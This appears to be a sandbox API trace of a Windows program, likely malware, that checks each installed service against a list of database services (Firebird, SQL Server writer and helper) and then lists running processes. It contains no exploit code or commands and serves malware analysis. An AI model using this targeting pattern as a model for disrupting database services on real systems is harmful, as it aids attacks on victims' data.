	[0044.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0044.597] lstrlenW (lpString="DPS") returned 3
	[0044.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0044.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0044.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0044.597] lstrlenW (lpString="DusmSvc") returned 7
	[0044.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0044.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0044.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0044.597] lstrlenW (lpString="EventLog") returned 8
	[0044.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0044.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0044.597] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0044.598] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0044.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0044.598] lstrlenW (lpString="EventSystem") returned 11
	[0044.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0044.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0044.598] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0044.598] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0044.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0044.598] lstrlenW (lpString="FontCache") returned 9
	[0044.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0044.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0044.598] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0044.598] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0044.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0044.598] lstrlenW (lpString="gpsvc") returned 5
	[0044.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0044.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0044.598] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0044.598] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0044.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0044.598] lstrlenW (lpString="iphlpsvc") returned 8
	[0044.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0044.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0044.598] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0044.598] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0044.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0044.598] lstrlenW (lpString="KeyIso") returned 6
	[0044.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0044.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0044.598] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0044.598] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0044.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0044.598] lstrlenW (lpString="LanmanServer") returned 12
	[0044.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0044.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0044.598] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0044.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0044.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0044.599] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0044.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0044.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0044.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0044.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0044.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0044.599] lstrlenW (lpString="lfsvc") returned 5
	[0044.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0044.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0044.599] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0044.599] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0044.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0044.599] lstrlenW (lpString="lmhosts") returned 7
	[0044.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0044.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0044.599] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0044.599] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0044.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0044.599] lstrlenW (lpString="LSM") returned 3
	[0044.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0044.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0044.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0044.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0044.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0044.599] lstrlenW (lpString="MpsSvc") returned 6
	[0044.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0044.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0044.599] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0044.599] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0044.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0044.599] lstrlenW (lpString="NcbService") returned 10
	[0044.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0044.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0044.600] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0044.600] lstrlenW (lpString="netprofm") returned 8
	[0044.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0044.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0044.600] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0044.600] lstrlenW (lpString="NlaSvc") returned 6
	[0044.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0044.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0044.600] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0044.600] lstrlenW (lpString="nsi") returned 3
	[0044.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0044.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0044.600] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0044.600] lstrlenW (lpString="PcaSvc") returned 6
	[0044.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0044.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0044.600] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0044.600] lstrlenW (lpString="PlugPlay") returned 8
	[0044.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0044.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0044.600] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0044.600] lstrlenW (lpString="Power") returned 5
	[0044.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0044.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0044.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0044.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0044.601] lstrlenW (lpString="ProfSvc") returned 7
	[0044.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0044.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0044.601] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0044.601] lstrlenW (lpString="RpcEptMapper") returned 12
	[0044.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0044.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0044.601] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0044.601] lstrlenW (lpString="RpcSs") returned 5
	[0044.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0044.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0044.601] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0044.601] lstrlenW (lpString="SamSs") returned 5
	[0044.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0044.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0044.601] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0044.601] lstrlenW (lpString="Schedule") returned 8
	[0044.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0044.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0044.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0044.601] lstrlenW (lpString="SecurityHealthService") returned 21
	[0044.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0044.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0044.601] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0044.602] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0044.602] lstrlenW (lpString="SENS") returned 4
	[0044.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0044.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0044.602] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0044.602] lstrlenW (lpString="ShellHWDetection") returned 16
	[0044.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0044.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0044.602] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0044.602] lstrlenW (lpString="Spooler") returned 7
	[0044.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0044.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0044.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0044.602] lstrlenW (lpString="SSDPSRV") returned 7
	[0044.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0044.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0044.602] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0044.602] lstrlenW (lpString="StateRepository") returned 15
	[0044.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0044.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0044.602] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0044.602] lstrlenW (lpString="SysMain") returned 7
	[0044.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0044.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0044.602] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0044.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0044.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0044.603] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0044.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0044.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0044.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0044.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0044.603] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6db700 | out: hHeap=0x650000) returned 1
	[0044.603] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384
	[0044.674] Process32FirstW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0044.675] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0044.676] lstrlenW (lpString="System") returned 6
	[0044.676] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0044.676] lstrlenW (lpString="smss.exe") returned 8
	[0044.677] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0044.677] lstrlenW (lpString="csrss.exe") returned 9
	[0044.677] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0044.678] lstrlenW (lpString="wininit.exe") returned 11
	[0044.678] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0044.679] lstrlenW (lpString="csrss.exe") returned 9
	[0044.679] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0044.679] lstrlenW (lpString="winlogon.exe") returned 12
	[0044.679] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0044.680] lstrlenW (lpString="services.exe") returned 12
	[0044.680] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0044.681] lstrlenW (lpString="lsass.exe") returned 9
	[0044.681] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.681] lstrlenW (lpString="svchost.exe") returned 11
	[0044.682] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0044.682] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0044.682] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0044.683] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0044.683] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.747] lstrlenW (lpString="svchost.exe") returned 11
	[0044.747] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0044.748] lstrlenW (lpString="dwm.exe") returned 7
	[0044.748] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.749] lstrlenW (lpString="svchost.exe") returned 11
	[0044.749] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.749] lstrlenW (lpString="svchost.exe") returned 11
	[0044.750] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.750] lstrlenW (lpString="svchost.exe") returned 11
	[0044.750] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.751] lstrlenW (lpString="svchost.exe") returned 11
	[0044.751] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.752] lstrlenW (lpString="svchost.exe") returned 11
	[0044.752] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.752] lstrlenW (lpString="svchost.exe") returned 11
	[0044.752] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.753] lstrlenW (lpString="svchost.exe") returned 11
	[0044.753] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.754] lstrlenW (lpString="svchost.exe") returned 11
	[0044.754] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.758] lstrlenW (lpString="svchost.exe") returned 11
	[0044.758] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0044.758] lstrlenW (lpString="spoolsv.exe") returned 11
	[0044.758] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.759] lstrlenW (lpString="svchost.exe") returned 11
	[0044.759] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.760] lstrlenW (lpString="svchost.exe") returned 11
	[0044.760] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0044.761] lstrlenW (lpString="audiodg.exe") returned 11
